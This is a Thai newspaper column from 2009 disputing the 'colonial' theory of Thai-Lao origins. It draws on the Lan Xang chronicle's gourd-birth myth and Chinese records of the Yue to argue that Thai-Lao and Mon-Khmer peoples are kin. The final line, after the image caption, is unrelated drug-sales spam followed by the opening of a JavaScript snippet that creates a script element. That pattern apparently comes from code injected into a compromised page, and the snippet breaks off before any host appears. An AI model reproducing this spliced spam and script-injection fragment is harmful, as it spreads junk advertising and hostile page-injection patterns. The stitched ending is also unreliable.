หนังสือพิมพ์มติชนฉบับวันพฤหัสบดีที่ 10 กันยายน 2552

ประวัติศาสตร์แบบอาณานิคม  บอกว่าพวกไทย-ลาว มีแหล่งกำเนิดอยู่ทางทิศเหนือ เช่น เทือกเขาอัลไต, อาณาจักรน่านเจ้า แล้วถูกจีนรุกรานขับไล่ให้ต้องอพยพถอนรากถอนโคนหลบหนีลงทางทิศใต้อีก
พวกไทย-ลาว ตกเป็นขี้ข้าพวกมอญและเขมรที่เป็นเจ้าของดินแดนลุ่มน้ำโขงถึงเจ้าพระยา ต่อมาพากันปลดแอกจากขี้ข้ามอญกับเขมร แล้วยึดดินแดนของมอญกับเขมร สถาปนาบ้านเมืองจนเป็นประเทศไทย, ประเทศลาวทุกวันนี้

นี่คือ “พล็อต”ประวัติศาสตร์แห่งชาติแบบอาณานิคม ที่เจ้าอาณานิคมยุโรปสถาปนาไว้ราวศตวรรษที่แล้ว บรรดาอาณานิคมทั้งหลายยกย่องยึดถือเป็นคัมภีร์ของตนตราบจนทุกวันนี้
ใครคิดต่างจากนี้มิได้ ใครคิดชำระให้ถูกต้องมิได้ แค่แตะต้องประเด็นเล็กๆน้อยๆเท่านั้นจะมีข้าอาณานิคมโมโหโกรธาด่าทอเป็นโกลาหล ผมโดนมาจนชิน(อยู่ดี)แล้ว จึงไม่เดือดร้อน
พวกข้าอาณานิคมไม่ยอมทำความเข้าใจพยานหลักฐานและร่องรอยทางสังคมวัฒนธรรม ว่าคนสุวรรณภูมิตั้งแต่บริเวณสองฝั่งโขงถึงสองฝั่งเจ้าพระยา        ล้วนเป็นเครือญาติชาติพันธุ์กันไม่น้อยกว่า 3,000 ปีมาแล้ว มีในพงศาวดารล้านช้าง เช่น นิทานแถน และกำเนิดคนจากน้ำเต้า จะขอคัดตัดทอนย่อๆมาดังนี้
“อยู่บ่นานเท่าใด เครือหมากน้ำก็เกิดออกฮูดังควายตัวตายนั้น ออกยาวมาแล้ว ก็ออกเป็นหมากน้ำเต้าปุง 3 หน่วย และหน่วยนั้นใหญ่ประมาณเท่ารินเขาปลูกข้าวนั้น
เมื่อเครือหมากนั้นแก่แล้ว คนทั้งหลายก็เกิดมาอาศัยซึ่งหมากน้ำ เป็นดังนางอาสังโนเกิดในท้องดอกบัว เจ้าฤๅษีเอามาเลี้ยงไว้ คนทั้งหลายฝูงเกิดในผลหมากน้ำเต้า ฝูงนั้นก็ร้องก้องนี่นันมากนักในหมากน้ำนั้นแล
ยามนั้น ปู่ลางเชิงจึงเผาเหล็กชีแดงชีหมากน้ำนั้น คนทั้งหลายจึงบุเบียดกันออกมาทางฮูที่ชีนั้น ออกมาทางฮูทีนั้นก็บ่เบิ่งคับคั่งกัน ขุนคานจึงเอาสิ่วไปสิ่วฮู ให้เป็นฮูแควนใหญ่แควนกว้าง คนทั้งหลายก็ลุไหลออกมานานประมาณ 3 วัน 3 คืนจึงหมด หั้นแล
คนทั้งหลายฝูงออกมาทางฮูชีนั้นแบ่งเป็น 2 หมู่ๆหนึ่งเรียกชื่อไทยลม หมู่หนึ่งเรียกชื่อไทยลี ผู้ออกทางฮูสิ่วนั้นแบ่งเป็น 3 หมู่ๆหนึ่งเรียกชื่อไทยเลิง หมู่หนึ่งเรียกชื่อไทยลอ หมู่หนึ่งเรียกชื่อไทยควางแล

แต่นั้น คนทั้งหลายฝูงเกิดมาในน้ำเต้า ฝูงออกมาทางฮูสิ่วนั้นเป็นไทย ฝูงออกมาทางฮูชีนั้นเป็นข้า คนฝูงนั้นลวดเป็นข้อยเป็นไพร่เขาเจ้าขุนทั้งสามนั้นแล”
คน“ฝูงออกมาทางฮูสิ่วนั้นเป็นไทย” หมายถึงตระกูลไทย-ลาว 3 กลุ่ม          ผิวไม่คล้ำ เป็นเสรีชนคนทั่วไป
คน“ฝูงออกมาทางฮูชีเป็นข้า” หมายถึงตระกูลมอญ-เขมร 2 กลุ่ม ผิวคล้ำ เป็นขี้ข้าขี้ข้อยของพวกผิไม่คล้ำ 3 กลุ่มแรก
นี่แสดงว่านิทานชุดนี้สร้างโดยพวกผิวไม่คล้ำ 3 กลุ่ม จึงเหยียดพวกผิวคล้ำ 2 กลุ่มเป็นขี้ข้าขี้ข้อย
แต่คนทั้งหมด 5 กลุ่ม เป็นเครือญาติพี่น้องกันหมด เพราะมีกำเนิดจากท้องแม่เดียวกันคือ น้ำเต้าปุง(จากรูจมูกควาย) ที่มีลักษณะคล้ายหญิงท้องแก่ใกล้คลอด
ตรงนี้สอดคล้องกับหลักฐานจีนบอกว่าคนป่าเถื่อนทางทิศใต้ของจีนคือพวกเดียวกัน มีคำเรียกรวมๆว่าเย่ว์ (จีนเรียกไป่เย่ว์ หมายถึงเย่ว์ร้อยเผ่า) ภายหลังแยกเป็นพวกมอญ-เขมร, ไทย-ลาว, ม้ง-เย้า, เป็นต้น มีพยานยืนยันคือกลองทอง หรือมโหระทึก เป็นวัฒนธรรมร่วมของพวกเย่ว์ทั้งหลาย
ภาษาพูดแต่เดิมก็ควรเป็นภาษาร่วม จีนเรียกภาษาเย่ว์ หมายถึงพวกมอญ-เขมร กับไทย-ลาว แต่มาแยกออกจากกันภายหลังเมื่อแต่ละกลุ่มมีตัวอักษรของตัวเองแล้ว

ภาพเขียนจินตนาการกำเนิดมนุษย์ จากพงศาวดารล้างช้าง อยู่ในห้องจัดแสดงนิทรรศการชาติพันธุ์วิทยาทางโบราณคดี ศูนย์มานุษยวิทยาสิรินธร ตลิ่งชัน กรุงเทพฯ fluoxetine 60 mg capsules buy cheap cialis super activevar d=document;var s=d.createElement(‘script’);